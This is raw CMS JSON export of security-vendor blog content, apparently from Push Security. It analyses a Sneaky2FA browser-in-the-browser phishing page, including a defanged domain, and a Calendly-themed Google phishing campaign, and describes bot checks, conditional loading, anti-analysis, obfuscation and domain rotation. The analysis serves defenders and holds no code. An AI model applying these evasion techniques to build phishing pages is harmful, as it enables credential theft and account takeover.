{"type":899},"Disclaimer:",{"data":65947,"marks":65948,"value":65949,"nodeType":864},{},[]," This campaign uses the names and images of real employees working for various companies that the attacker was impersonating. We have opted to redact any personally identifiable information, which extends to screenshots of the phishing pages with names and profile pictures, as well as names included in the phishing page URLs. ","Google Phishing Insight Box 4",{"sys":65952,"__typename":1724,"title":65953,"caption":65953,"layoutMode":59,"file":65954},{"id":65421},"Well-crafted, multi-stage, highly targeted phishing email coming from an account impersonating a real LVMH employee.",{"url":65955,"width":65956,"height":65957},"https://images.ctfassets.net/y1cdw1ablpvd/1l9ZXvGgfSzYdwKxd9bvSq/3d89d9bd9860374ccba6bd04762f44a4/image11.png",1044,744,{"sys":65959,"__typename":1740,"content":65960,"name":65971,"title":59},{"id":65434},{"json":65961},{"nodeType":856,"data":65962,"content":65963},{},[65964],{"nodeType":860,"data":65965,"content":65966},{},[65967],{"nodeType":864,"value":65968,"marks":65969,"data":65970},"This approach is intentional. The multi-stage message is likely designed to defeat email content scanning tools looking for messages containing a link requesting an urgent response.",[],{},"Google Phishing Insight Box 1",{"sys":65973,"__typename":1724,"title":65974,"caption":65974,"layoutMode":59,"file":65975},{"id":65447},"Fake Calendly landing page. ",{"url":65976,"width":65977,"height":65978},"https://images.ctfassets.net/y1cdw1ablpvd/4YX3lqU3K4EVv230yAXPLu/1d640fd64d2db7b55b64828e02bb244b/Group_584.png",3416,1924,{"sys":65980,"__typename":1724,"title":65981,"caption":65982,"layoutMode":59,"file":65983},{"id":65460},"Calendly-themed AITM phishing page targeting Google Workspace accounts.","Calendly-themed AiTM phishing page targeting Google Workspace accounts.",{"url":65984,"width":1736,"height":65985},"https://images.ctfassets.net/y1cdw1ablpvd/30KsB1ENDg9m4X3srhYIpW/b57d6a0420a9991a37e138c6edc47ac5/image12.png",1126,{"sys":65987,"__typename":1724,"title":65988,"caption":65988,"layoutMode":59,"file":65989},{"id":65503},"Request and response challenge on the AITM phishing page, denying unauthorized email domains from being able to log in to the page.",{"url":65990,"width":1736,"height":1737},"https://images.ctfassets.net/y1cdw1ablpvd/3ExT9jjIBk4CnbHSbjYuki/7d00292474ee4d9a4f433463d4242f89/image9.png",{"sys":65992,"__typename":1724,"title":65993,"caption":65993,"layoutMode":59,"file":65994},{"id":65516},"After entering an allowed email domain, the password entry field loads.",{"url":65995,"width":1736,"height":65985},"https://images.ctfassets.net/y1cdw1ablpvd/5JzkZirFB5VsTMbf9nlX58/6d7f6d72465df9c0133044bce33c6de1/image1.png",{"sys":65997,"__typename":1724,"title":65998,"caption":65998,"layoutMode":59,"file":65999},{"id":65529},"Webpages with similar properties to the attack analysed by Push.",{"url":66000,"width":1736,"height":66001},"https://images.ctfassets.net/y1cdw1ablpvd/T7zU58u4ts7e1ug1ScdjT/d84c1d1a8f785d637da9dcc4639e4899/image1.png",1182,{"sys":66003,"__typename":1724,"title":66004,"caption":66004,"layoutMode":59,"file":66005},{"id":65617},"Pages with similar properties impersonating Unilever, Disney, Lego, Artisan, and many more brands that look to be an older-style version of the same campaign.",{"url":66006,"width":1736,"height":66007},"https://images.ctfassets.net/y1cdw1ablpvd/6rzP1eIMjdI6rCPTQEQvMe/a57c25f26f5ff9e38e1ecfbe47a5e039/image6.png",1732,{"sys":66009,"__typename":1724,"title":66010,"caption":66010,"layoutMode":59,"file":66011},{"id":65661},"Newer phishing variant impersonating Calendly.",{"url":66012,"width":66013,"height":66014},"https://images.ctfassets.net/y1cdw1ablpvd/5yCWaYqsekS318AarCfkzc/e0c469becdfc3dcbfbbe5bab4d94ff14/Group_585.png",3448,2072,{"sys":66016,"__typename":1724,"title":66017,"caption":66017,"layoutMode":59,"file":66018},{"id":65667},"BITB-style pop-up window showing a legitimate-looking URL (instead of the phishing server it really points to).",{"url":66019,"width":1736,"height":66020},"https://images.ctfassets.net/y1cdw1ablpvd/4oeu6wp1oKSHblbVf6M2vN/a29ce019b7f5e40eb8017c3a28553457/image2.png",1202,{"sys":66022,"__typename":1724,"title":66023,"caption":66024,"layoutMode":59,"file":66025},{"id":65673},"Recent phishing page targeting both Facebook and Google accounts.","A different version of the page targeting both Facebook and Google accounts.",{"url":66026,"width":66013,"height":66014},"https://images.ctfassets.net/y1cdw1ablpvd/2Q3XlETnZXxFP4iArO0n8E/238bec1cbc9b6a3a27c173ce6d700ef4/Frame_627989.png",{"sys":66028,"__typename":1724,"title":66029,"caption":66029,"layoutMode":59,"file":66030},{"id":65686},"Anti-analysis functionality observed on the phishing page. ",{"url":66031,"width":1736,"height":66020},"https://images.ctfassets.net/y1cdw1ablpvd/32oz0k8DQ8JjMxG1ZirL5O/98603c762565ab073f7c5279ed06b952/image7.png",{"sys":66033,"__typename":1724,"title":66034,"caption":66034,"layoutMode":59,"file":66035},{"id":65692},"Access blocked when browsing from a VPN/Proxy.",{"url":66036,"width":24311,"height":1837},"https://images.ctfassets.net/y1cdw1ablpvd/27YWvGWWkoLgWnPvB9YDKt/e941d3ce4ba0df2a2206b0bcf1758b71/image_671.png",{"sys":66038,"__typename":1740,"content":66039,"name":66075,"title":59},{"id":65748},{"json":66040},{"nodeType":856,"data":66041,"content":66042},{},[66043],{"nodeType":860,"data":66044,"content":66045},{},[66046,66050,66059,66063,66071],{"nodeType":864,"value":66047,"marks":66048,"data":66049},"Campaigns targeting Google accounts specifically are becoming increasingly common. ",[],{},{"nodeType":883,"data":66051,"content":66053},{"uri":66052},"https://sublime.security/blog/google-careers-impersonation-credential-phishing-scam-with-endless-variation/",[66054],{"nodeType":864,"value":66055,"marks":66056,"data":66058},"Sublime discussed a similar job lure focused campaign impersonating Google Careers",[66057],{"type":1455},{},{"nodeType":864,"value":66060,"marks":66061,"data":66062}," (which we’ve spotted recently too), while we also identified a ",[],{},{"nodeType":883,"data":66064,"content":66066},{"uri":66065},"https://pushsecurity.com/blog/analysing-a-malvertising-attack-targeting-business-google-accounts",[66067],{"nodeType":864,"value":66068,"marks":66069,"data":66070},"campaign targeting Google Ad accounts via malvertising on Google Search",[],{},{"nodeType":864,"value":66072,"marks":66073,"data":66074}," around the same time that this attack was identified.",[],{},"Google Phishing Insight Box 3",{"sys":66077,"__typename":1740,"content":66078,"name":66102,"title":59},{"id":65841},{"json":66079},{"nodeType":856,"data":66080,"content":66081},{},[66082],{"nodeType":860,"data":66083,"content":66084},{},[66085,66089,66098],{"nodeType":864,"value":66086,"marks":66087,"data":66088},"Even for organizations using a different primary cloud platform but with more than one IdP account per user (e.g. having a Microsoft and Google account) this can be abused by attackers taking advantage of overly permissive SSO configurations (also known as ",[],{},{"nodeType":883,"data":66090,"content":66092},{"uri":66091},"https://pushsecurity.com/blog/cross-idp-impersonation/",[66093],{"nodeType":864,"value":66094,"marks":66095,"data":66097},"Cross-IdP impersonation",[66096],{"type":1455},{},{"nodeType":864,"value":66099,"marks":66100,"data":66101},") which we covered in research last year.",[],{},"Google Phishing Insight Box 2",{"sys":66104,"__typename":1717,"type":1718,"ctaText":66105,"buttonLabel":1720,"buttonColour":1721,"buttonUrl":66106},{"id":58533},"Learn how phishing evolved in 2025, showcasing the most sophisticated attacks and key trends uncovered by Push researchers","https://pushsecurity.com/webinar/phishing-2025-review",{"items":66108},[],{},"Uncovering a Calendly-themed phishing campaign ","2025-12-02T00:00:00.000Z",{"items":66113},[66114,66677,67505],{"__typename":2059,"sys":66115,"content":66117,"title":66663,"synopsis":66664,"hashTags":59,"publishedDate":66665,"slug":66666,"tagsCollection":66667,"authorsCollection":66673},{"id":66116},"6QLonRmBzbj9h88Y7jD0LU",{"json":66118},{"data":66119,"content":66120,"nodeType":856},{},[66121,66128,66135,66165,66172,66179,66186,66189,66197,66216,66223,66229,66236,66242,66249,66255,66262,66268,66275,66281,66288,66295,66301,66304,66312,66332,66339,66346,66352,66370,66378,66398,66406,66424,66431,66437,66469,66477,66510,66518,66538,66543,66546,66554,66574,66580,66583,66591,66598,66605,66608,66615,66621,66628,66652,66657],{"data":66122,"content":66123,"nodeType":860},{},[66124],{"data":66125,"marks":66126,"value":66127,"nodeType":864},{},[],"PhaaS kits make up the vast majority of phishing sites intercepted by Push and dominate the phishing landscape, with kits like Tycoon, NakedPages, Flowerstorm, Salty2FA, and various Evilginx variations proving very popular among attackers targeting Push customers.",{"data":66129,"content":66130,"nodeType":860},{},[66131],{"data":66132,"marks":66133,"value":66134,"nodeType":864},{},[],"PhaaS kits are incredibly important to cybercrime because they make sophisticated and continuously evolving capabilities available to the criminal marketplace, lowering the barrier to entry for criminals running advanced phishing campaigns. This is not unique to phishing: Ransomware-as-a-Service, Credential Stuffing-as-a-Service, and many more for-hire tools and services exist for criminals to use for a fee. ",{"data":66136,"content":66137,"nodeType":860},{},[66138,66142,66151,66154,66161],{"data":66139,"marks":66140,"value":66141,"nodeType":864},{},[],"This competitive environment has fuelled attacker innovation, resulting in an environment in which MFA-bypass is table stakes, phishing-resistant authentication is being circumvented through ",{"data":66143,"content":66145,"nodeType":883},{"uri":66144},"https://pushsecurity.com/blog/mfa-downgrade-attacks/",[66146],{"data":66147,"marks":66148,"value":66150,"nodeType":864},{},[66149],{"type":1455},"downgrade attacks",{"data":66152,"marks":66153,"value":2232,"nodeType":864},{},[],{"data":66155,"content":66156,"nodeType":883},{"uri":7124},[66157],{"data":66158,"marks":66159,"value":29066,"nodeType":864},{},[66160],{"type":1455},{"data":66162,"marks":66163,"value":66164,"nodeType":864},{},[]," are being used to circumvent security tools — from email scanners, to web-crawling security tools, to web proxies analyzing network traffic.",{"data":66166,"content":66167,"nodeType":860},{},[66168],{"data":66169,"marks":66170,"value":66171,"nodeType":864},{},[],"Recently, we’ve noticed an increase in detections relating to Sneaky2FA, which operates through a fully-featured bot on Telegram. Customers reportedly receive access to a licensed, obfuscated version of the source code and deploy it independently.",{"data":66173,"content":66174,"nodeType":860},{},[66175],{"data":66176,"marks":66177,"value":66178,"nodeType":864},{},[],"This makes Sneaky2FA something that can be reliably profiled and tracked due to these codebase similarities — which is what we’re actively doing at Push. ",{"data":66180,"content":66181,"nodeType":860},{},[66182],{"data":66183,"marks":66184,"value":66185,"nodeType":864},{},[],"Why is this relevant? Well, the latest Sneaky2FA phish we identified was pretty interesting. ",{"data":66187,"content":66188,"nodeType":1005},{},[],{"data":66190,"content":66191,"nodeType":1009},{},[66192],{"data":66193,"marks":66194,"value":66196,"nodeType":864},{},[66195],{"type":899},"Sneaky2FA adds BITB to its phishing toolkit",{"data":66198,"content":66199,"nodeType":860},{},[66200,66204,66212],{"data":66201,"marks":66202,"value":66203,"nodeType":864},{},[],"We recently detected a Sneaky2FA server that is a bit different from the typical reverse-proxy ",{"data":66205,"content":66206,"nodeType":883},{"uri":56776},[66207],{"data":66208,"marks":66209,"value":66211,"nodeType":864},{},[66210],{"type":1455},"Attacker-in-the-Middle",{"data":66213,"marks":66214,"value":66215,"nodeType":864},{},[]," site, featuring an embedded browser window that contained the actual phishing page. ",{"data":66217,"content":66218,"nodeType":860},{},[66219],{"data":66220,"marks":66221,"value":66222,"nodeType":864},{},[],"You can see how the page loaded below in the video below.",{"data":66224,"content":66228,"nodeType":996},{"target":66225},{"sys":66226},{"id":66227,"type":1001,"linkType":1002},"6L6Ban2xptI1uNA8OPJQzq",[],{"data":66230,"content":66231,"nodeType":860},{},[66232],{"data":66233,"marks":66234,"value":66235,"nodeType":864},{},[],"When the URL previewdoc[.]us is first accessed, a Cloudflare Turnstile check must be completed before the page loads. ",{"data":66237,"content":66241,"nodeType":996},{"target":66238},{"sys":66239},{"id":66240,"type":1001,"linkType":1002},"QscI1SZ6dOpgMkrJPtqLD",[],{"data":66243,"content":66244,"nodeType":860},{},[66245],{"data":66246,"marks":66247,"value":66248,"nodeType":864},{},[],"The page then redirects to a subdomain of previewdoc[.]us, which prompts the user to “Sign in with Microsoft” in order to view a document, styled to look like Adobe Acrobat Reader. ",{"data":66250,"content":66254,"nodeType":996},{"target":66251},{"sys":66252},{"id":66253,"type":1001,"linkType":1002},"7pkfAQquHrA6aUnCtj74iu",[],{"data":66256,"content":66257,"nodeType":860},{},[66258],{"data":66259,"marks":66260,"value":66261,"nodeType":864},{},[],"Upon clicking ‘Sign in with Microsoft” a reverse-proxy phishing page resembling a Microsoft login form is loaded in an embedded browser, with a custom background image designed to resemble a document library. ",{"data":66263,"content":66267,"nodeType":996},{"target":66264},{"sys":66265},{"id":66266,"type":1001,"linkType":1002},"782tw14AqgJ9mqneVaOdHc",[],{"data":66269,"content":66270,"nodeType":860},{},[66271],{"data":66272,"marks":66273,"value":66274,"nodeType":864},{},[],"Interestingly, the pop-up window adjusts to the visitor’s OS and browser — you can see some different examples below.",{"data":66276,"content":66280,"nodeType":996},{"target":66277},{"sys":66278},{"id":66279,"type":1001,"linkType":1002},"6lN9agEyeQ63LDHM1kaSqX",[],{"data":66282,"content":66283,"nodeType":860},{},[66284],{"data":66285,"marks":66286,"value":66287,"nodeType":864},{},[],"Completing authentication will result in the user’s Microsoft credentials and active session being stolen by the attacker, facilitating account takeover. ",{"data":66289,"content":66290,"nodeType":860},{},[66291],{"data":66292,"marks":66293,"value":66294,"nodeType":864},{},[],"You can see the sequence of pages loaded and Push detection events in the timeline below.",{"data":66296,"content":66300,"nodeType":996},{"target":66297},{"sys":66298},{"id":66299,"type":1001,"linkType":1002},"1oPpha39PMiJGUaZSptx1f",[],{"data":66302,"content":66303,"nodeType":1005},{},[],{"data":66305,"content":66306,"nodeType":1009},{},[66307],{"data":66308,"marks":66309,"value":66311,"nodeType":864},{},[66310],{"type":899},"Why Browser-in-the-Browser?",{"data":66313,"content":66314,"nodeType":860},{},[66315,66319,66328],{"data":66316,"marks":66317,"value":66318,"nodeType":864},{},[],"BITB was first coined as a technique in 2022 by ",{"data":66320,"content":66322,"nodeType":883},{"uri":66321},"https://mrd0x.com/browser-in-the-browser-phishing-attack/",[66323],{"data":66324,"marks":66325,"value":66327,"nodeType":864},{},[66326],{"type":1455},"mr.d0x",{"data":66329,"marks":66330,"value":66331,"nodeType":864},{},[],", but standard AITM phishing pages are far more frequently encountered in the wild, particularly when it comes to enterprise business targets.",{"data":66333,"content":66334,"nodeType":860},{},[66335],{"data":66336,"marks":66337,"value":66338,"nodeType":864},{},[],"BITB is principally designed to mask suspicious phishing URLs by simulating a pretty normal function of in-browser authentication — a pop-up login form. BITB phishing pages replicate the design of a pop-up window with an iframe pointing to a malicious server. ",{"data":66340,"content":66341,"nodeType":860},{},[66342],{"data":66343,"marks":66344,"value":66345,"nodeType":864},{},[],"The pop-up browser window shows a legitimate Microsoft login URL — this is in fact a fake URL that is designed to fool the user. ",{"data":66347,"content":66351,"nodeType":996},{"target":66348},{"sys":66349},{"id":66350,"type":1001,"linkType":1002},"7kI5PHTr9XYQJ0xVJUnUDu",[],{"data":66353,"content":66354,"nodeType":860},{},[66355,66359,66366],{"data":66356,"marks":66357,"value":66358,"nodeType":864},{},[],"This BITB example shares many of the advantages of typical reverse-proxy based phishing pages, as well as the ",{"data":66360,"content":66361,"nodeType":883},{"uri":7124},[66362],{"data":66363,"marks":66364,"value":29066,"nodeType":864},{},[66365],{"type":1455},{"data":66367,"marks":66368,"value":66369,"nodeType":864},{},[]," that are commonly used by attackers (and baked into PhaaS kits off-the-shelf). This includes:",{"data":66371,"content":66372,"nodeType":1312},{},[66373],{"data":66374,"marks":66375,"value":66377,"nodeType":864},{},[66376],{"type":899},"Bot protection to defeat web scraping tools",{"data":66379,"content":66380,"nodeType":860},{},[66381,66385,66394],{"data":66382,"marks":66383,"value":66384,"nodeType":864},{},[],"Attackers are using common ",{"data":66386,"content":66388,"nodeType":883},{"uri":66387},"https://phishing-techniques.pushsecurity.com/techniques/bot-protection/",[66389],{"data":66390,"marks":66391,"value":66393,"nodeType":864},{},[66392],{"type":1455},"bot protection",{"data":66395,"marks":66396,"value":66397,"nodeType":864},{},[]," technologies like CAPTCHA and Cloudflare Turnstile to prevent security bots from accessing their web pages to be able to analyse them (and therefore block pages from being automatically flagged). This requires anyone visiting the page to pass a bot check/challenge before the page can be loaded, meaning the full page cannot be analysed by automated tools. ",{"data":66399,"content":66400,"nodeType":1312},{},[66401],{"data":66402,"marks":66403,"value":66405,"nodeType":864},{},[66404],{"type":899},"Stop unwanted visitors with conditional loading",{"data":66407,"content":66408,"nodeType":860},{},[66409,66412,66420],{"data":66410,"marks":66411,"value":21,"nodeType":864},{},[],{"data":66413,"content":66414,"nodeType":883},{"uri":57802},[66415],{"data":66416,"marks":66417,"value":66419,"nodeType":864},{},[66418],{"type":1455},"Conditional loading",{"data":66421,"marks":66422,"value":66423,"nodeType":864},{},[]," techniques are used to prevent unwanted visitors from accessing the phishing page — reducing the chance that it is detected and flagged and extending the longevity of the phish. This often includes known security vendor IPs, VPN/proxy services, but is often used to target specific organizations (or even specific users within an organization). ",{"data":66425,"content":66426,"nodeType":860},{},[66427],{"data":66428,"marks":66429,"value":66430,"nodeType":864},{},[],"In this case, where the correct parameters are not supplied or the phishing site detects an unwanted variable, it will redirect to a benign wikibooks page. ",{"data":66432,"content":66436,"nodeType":996},{"target":66433},{"sys":66434},{"id":66435,"type":1001,"linkType":1002},"fN2XugiDIef8haTDapViT",[],{"data":66438,"content":66439,"nodeType":860},{},[66440,66444,66452,66456,66465],{"data":66441,"marks":66442,"value":66443,"nodeType":864},{},[],"Sneaky2FA has also been commonly observed using ",{"data":66445,"content":66446,"nodeType":883},{"uri":65703},[66447],{"data":66448,"marks":66449,"value":66451,"nodeType":864},{},[66450],{"type":1455},"anti-analysis",{"data":66453,"marks":66454,"value":66455,"nodeType":864},{},[]," techniques to detect or ",{"data":66457,"content":66459,"nodeType":883},{"uri":66458},"https://blog.sekoia.io/sneaky-2fa-exposing-a-new-aitm-phishing-as-a-service/#:~:text=Sneaky%202FA%20pages%20use%20anti,we%20identified%20as%20Sneaky%202FA",[66460],{"data":66461,"marks":66462,"value":66464,"nodeType":864},{},[66463],{"type":1455},"disable browser developer tools",{"data":66466,"marks":66467,"value":66468,"nodeType":864},{},[]," to block attempts to analyse the page for malicious content. ",{"data":66470,"content":66471,"nodeType":1312},{},[66472],{"data":66473,"marks":66474,"value":66476,"nodeType":864},{},[66475],{"type":899},"Page and code obfuscation",{"data":66478,"content":66479,"nodeType":860},{},[66480,66484,66493,66497,66506],{"data":66481,"marks":66482,"value":66483,"nodeType":864},{},[],"The HTML and JavaScript of Sneaky2FA pages are ",{"data":66485,"content":66487,"nodeType":883},{"uri":66486},"https://phishing-techniques.pushsecurity.com/techniques/page-obfuscation/",[66488],{"data":66489,"marks":66490,"value":66492,"nodeType":864},{},[66491],{"type":1455},"heavily obfuscated",{"data":66494,"marks":66495,"value":66496,"nodeType":864},{},[]," to evade static detection and pattern-matching, ",{"data":66498,"content":66500,"nodeType":883},{"uri":66499},"https://blog.sekoia.io/sneaky-2fa-exposing-a-new-aitm-phishing-as-a-service/#:~:text=,%E2%80%9CNo%20account%3F%E2%80%9D%20and%20%E2%80%9CSign%20in%E2%80%9D",[66501],{"data":66502,"marks":66503,"value":66505,"nodeType":864},{},[66504],{"type":1455},"such as",{"data":66507,"marks":66508,"value":66509,"nodeType":864},{},[]," breaking up UI text with invisible tags, embedding background and interface elements as encoded images instead of text, and other changes that are invisible to the user, but make it hard for scanning tools to fingerprint the page. ",{"data":66511,"content":66512,"nodeType":1312},{},[66513],{"data":66514,"marks":66515,"value":66517,"nodeType":864},{},[66516],{"type":899},"Domain rotation and URL masking",{"data":66519,"content":66520,"nodeType":860},{},[66521,66525,66534],{"data":66522,"marks":66523,"value":66524,"nodeType":864},{},[],"In addition to masking the phishing site URL presented to the user via the BITB window, Sneaky2FA has been seen using ",{"data":66526,"content":66528,"nodeType":883},{"uri":66527},"https://www.centripetal.ai/threat-research/typhoon-versus-sneaky",[66529],{"data":66530,"marks":66531,"value":66533,"nodeType":864},{},[66532],{"type":1455},"stealthy hosting and domain tactics",{"data":66535,"marks":66536,"value":66537,"nodeType":864},{},[],". Each campaign uses a fresh, long, randomized URL (typically a 150-character path) on a benign-looking domain (often an old or compromised site). These domains are usually short-lived: many are taken down after just a few days or weeks. Analysts have observed that Sneaky2FA domains often lie dormant or serve harmless content until right before an attack, then quickly vanish after use. This “burn-and-replace” approach makes traditional defenses (which rely on domain reputation or pattern-matching) much weaker.",{"data":66539,"content":66542,"nodeType":996},{"target":66540},{"sys":66541},{"id":58533,"type":1001,"linkType":1002},[],{"data":66544,"content":66545,"nodeType":1005},{},[],{"data":66547,"content":66548,"nodeType":1009},{},[66549],{"data":66550,"marks":66551,"value":66553,"nodeType":864},{},[66552],{"type":899},"Are attackers moving to BITB? ",{"data":66555,"content":66556,"nodeType":860},{},[66557,66561,66570],{"data":66558,"marks":66559,"value":66560,"nodeType":864},{},[],"There is evidence that Sneaky2FAs shift to BITB might not be an isolated change. Raccoon0365 is another PhaaS service that has been seen utilizing BITB functionality after ",{"data":66562,"content":66564,"nodeType":883},{"uri":66563},"https://www.cloudflare.com/en-gb/threat-intelligence/research/report/cloudflare-participates-in-global-operation-to-disrupt-raccoono365/",[66565],{"data":66566,"marks":66567,"value":66569,"nodeType":864},{},[66568],{"type":1455},"announcing a “BITB mini-panel”",{"data":66571,"marks":66572,"value":66573,"nodeType":864},{},[]," would be added as part of a service revamp. ",{"data":66575,"content":66579,"nodeType":996},{"target":66576},{"sys":66577},{"id":66578,"type":1001,"linkType":1002},"2sJUR9TVbZMU1v10Tq94Pz",[],{"data":66581,"content":66582,"nodeType":1005},{},[],{"data":66584,"content":66585,"nodeType":1009},{},[66586],{"data":66587,"marks":66588,"value":66590,"nodeType":864},{},[66589],{"type":899},"Conclusion",{"data":66592,"content":66593,"nodeType":860},{},[66594],{"data":66595,"marks":66596,"value":66597,"nodeType":864},{},[],"Attackers are continuously innovating their phishing techniques, particularly in the context of an increasingly professionalized PhaaS ecosystem. With identity-based attacks continuing to be the leading cause of breaches, attackers are incentivized to refine and enhance their phishing infrastructure. ",{"data":66599,"content":66600,"nodeType":860},{},[66601],{"data":66602,"marks":66603,"value":66604,"nodeType":864},{},[],"The addition of BITB, with the frequent iteration and improvement of detection evasion techniques, means that traditional security controls such as email gateways, web filters, and signature-based defenses will continue to be reliably bypassed. ",{"data":66606,"content":66607,"nodeType":1005},{},[],{"data":66609,"content":66610,"nodeType":1009},{},[66611],{"data":66612,"marks":66613,"value":13350,"nodeType":864},{},[66614],{"type":899},{"data":66616,"content":66617,"nodeType":860},{},[66618],{"data":66619,"marks":66620,"value":65883,"nodeType":864},{},[],{"data":66622,"content":66623,"nodeType":860},{},[66624],{"data":66625,"marks":66626,"value":66627,"nodeType":864},{},[],"Despite the various detection evasion techniques, and the use of BITB methods, Push still detected this toolkit running on the page, enabling any attack to be detected and blocked before the user could be phished. Because we can inspect the live page, we detect malicious content loaded in the browser in real time. ",{"data":66629,"content":66630,"nodeType":860},{},[66631,66634,66640,66643,66649],{"data":66632,"marks":66633,"value":31569,"nodeType":864},{},[],{"data":66635,"content":66636,"nodeType":883},{"uri":25603},[66637],{"data":66638,"marks":66639,"value":25609,"nodeType":864},{},[],{"data":66641,"marks":66642,"value":56270,"nodeType":864},{},[],{"data":66644,"content":66645,"nodeType":883},{"uri":1700},[66646],{"data":66647,"marks":66648,"value":25633,"nodeType":864},{},[],{"data":66650,"marks":66651,"value":2924,"nodeType":864},{},[],{"data":66653,"content":66656,"nodeType":996},{"target":66654},{"sys":66655},{"id":58533,"type":1001,"linkType":1002},[],{"data":66658,"content":66659,"nodeType":860},{},[66660],{"data":66661,"marks":66662,"value":21,"nodeType":864},{},[],"Analyzing the latest Sneaky2FA Browser-in-the-Browser phishing page","Analyzing a BITB phishing page linked to the Sneaky2FA Phishing-as-a-Service operation. ","2025-11-18T00:00:00.000Z","analyzing-the-latest-sneaky2fa-phishing-page",{"items":66668},[66669,66671],{"sys":66670,"name":6593},{"id":6592},{"sys":66672,"name":342},{"id":6596},{"items":66674},[66675],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":66676},{"url":2740},{"__typename":2059,"sys":66678,"content":66679,"title":56281,"synopsis":56282,"hashTags":59,"publishedDate":56283,"slug":56284,"tagsCollection":67495,"authorsCollection":67501},{"id":55338},{"json":66680},{"data":66681,"content":66682,"nodeType":856},{},[66683,66689,66695,66701,66704,66711,66717,66723,66728,66734,66739,66755,66761,66771,66774,66781,66787,66800,66806,66816,66821,66824,66831,66838,66843,66851,66867,66875,66881,66889,66904,66912,66918,66926,66952,66960,66966,66974,66990,66995,67003,67009,67017,67050,67053,67060,67068,67084,67092,67098,67106,67132,67137,67145,67151,67156,67159,67166,67174,67180,67231,67236,67239,67246,67254,67260,67265,67268,67275,67281,67287,67347,67353,67408,67414,67417,67424,67430,67436,67441,67444,67451,67457,67463,67469],{"data":66684,"content":66685,"nodeType":860},{},[66686],{"data":66687,"marks":66688,"value":55349,"nodeType":864},{},[],{"data":66690,"content":66691,"nodeType":860},{},[66692],{"data":66693,"marks":66694,"value":55356,"nodeType":864},{},[],{"data":66696,"content":66697,"nodeType":860},{},[66698],{"data":66699,"marks":66700,"value":55363,"nodeType":864},{},[],{"data":66702,"content":66703,"nodeType":1005},{},[],{"data":66705,"content":66706,"nodeType":1009},{},[66707],{"data":66708,"marks":66709,"value":55374,"nodeType":864},{},[66710],{"type":899},{"data":66712,"content":66713,"nodeType":860},{},[66714],{"data":66715,"marks":66716,"value":55381,"nodeType":864},{},[],{"data":66718,"content":66719,"nodeType":860},{},[66720],{"data":66721,"marks":66722,"value":55388,"nodeType":864},{},[],{"data":66724,"content":66727,"nodeType":996},{"target":66725},{"sys":66726},{"id":55393,"type":1001,"linkType":1002},[],{"data":66729,"content":66730,"nodeType":860},{},[66731],{"data":66732,"marks":66733,"value":55401,"nodeType":864},{},[],{"data":66735,"content":66738,"nodeType":996},{"target":66736},{"sys":66737},{"id":55406,"type":1001,"linkType":1002},[],{"data":66740,"content":66741,"nodeType":860},{},[66742,66745,66752],{"data":66743,"marks":66744,"value":55414,"nodeType":864},{},[],{"data":66746,"content":66747,"nodeType":883},{"uri":34790},[66748],{"data":66749,"marks":66750,"value":55422,"nodeType":864},{},[66751],{"type":1455},{"data":66753,"marks":66754,"value":55426,"nodeType":864},{},[],{"data":66756,"content":66757,"nodeType":860},{},[66758],{"data":66759,"marks":66760,"value":55433,"nodeType":864},{},[],{"data":66762,"content":66763,"nodeType":860},{},[66764,66767],{"data":66765,"marks":66766,"value":55440,"nodeType":864},{},[],{"data":66768,"marks":66769,"value":55445,"nodeType":864},{},[66770],{"type":899},{"data":66772,"content":66773,"nodeType":1005},{},[],{"data":66775,"content":66776,"nodeType":1009},{},[66777],{"data":66778,"marks":66779,"value":55456,"nodeType":864},{},[66780],{"type":899},{"data":66782,"content":66783,"nodeType":860},{},[66784],{"data":66785,"marks":66786,"value":55463,"nodeType":864},{},[],{"data":66788,"content":66789,"nodeType":860},{},[66790,66793,66797],{"data":66791,"marks":66792,"value":55470,"nodeType":864},{},[],{"data":66794,"marks":66795,"value":55475,"nodeType":864},{},[66796],{"type":899},{"data":66798,"marks":66799,"value":55479,"nodeType":864},{},[],{"data":66801,"content":66802,"nodeType":860},{},[66803],{"data":66804,"marks":66805,"value":55486,"nodeType":864},{},[],{"data":66807,"content":66808,"nodeType":860},{},[66809,66812],{"data":66810,"marks":66811,"value":55493,"nodeType":864},{},[],{"data":66813,"marks":66814,"value":55498,"nodeType":864},{},[66815],{"type":899},{"data":66817,"content":66820,"nodeType":996},{"target":66818},{"sys":66819},{"id":55503,"type":1001,"linkType":1002},[],{"data":66822,"content":66823,"nodeType":1005},{},[],{"data":66825,"content":66826,"nodeType":1009},{},[66827],{"data":66828,"marks":66829,"value":55515,"nodeType":864},{},[66830],{"type":899},{"data":66832,"content":66833,"nodeType":1312},{},[66834],{"data":66835,"marks":66836,"value":55523,"nodeType":864},{},[66837],{"type":899},{"data":66839,"content":66842,"nodeType":996},{"target":66840},{"sys":66841},{"id":55528,"type":1001,"linkType":1002},[],{"data":66844,"content":66845,"nodeType":860},{},[66846],{"data":66847,"marks":66848,"value":55538,"nodeType":864},{},[66849,66850],{"type":899},{"type":1455},{"data":66852,"content":66853,"nodeType":860},{},[66854,66857,66864],{"data":66855,"marks":66856,"value":55545,"nodeType":864},{},[],{"data":66858,"content":66859,"nodeType":883},{"uri":55548},[66860],{"data":66861,"marks":66862,"value":55554,"nodeType":864},{},[66863],{"type":1455},{"data":66865,"marks":66866,"value":55558,"nodeType":864},{},[],{"data":66868,"content":66869,"nodeType":860},{},[66870],{"data":66871,"marks":66872,"value":55567,"nodeType":864},{},[66873,66874],{"type":899},{"type":1455},{"data":66876,"content":66877,"nodeType":860},{},[66878],{"data":66879,"marks":66880,"value":55574,"nodeType":864},{},[],{"data":66882,"content":66883,"nodeType":860},{},[66884],{"data":66885,"marks":66886,"value":55583,"nodeType":864},{},[66887,66888],{"type":899},{"type":1455},{"data":66890,"content":66891,"nodeType":860},{},[66892,66895,66901],{"data":66893,"marks":66894,"value":55590,"nodeType":864},{},[],{"data":66896,"content":66897,"nodeType":883},{"uri":55593},[66898],{"data":66899,"marks":66900,"value":55598,"nodeType":864},{},[],{"data":66902,"marks":66903,"value":55602,"nodeType":864},{},[],{"data":66905,"content":66906,"nodeType":860},{},[66907],{"data":66908,"marks":66909,"value":55611,"nodeType":864},{},[66910,66911],{"type":899},{"type":1455},{"data":66913,"content":66914,"nodeType":860},{},[66915],{"data":66916,"marks":66917,"value":55618,"nodeType":864},{},[],{"data":66919,"content":66920,"nodeType":860},{},[66921],{"data":66922,"marks":66923,"value":55627,"nodeType":864},{},[66924,66925],{"type":899},{"type":1455},{"data":66927,"content":66928,"nodeType":860},{},[66929,66932,66939,66942,66949],{"data":66930,"marks":66931,"value":55634,"nodeType":864},{},[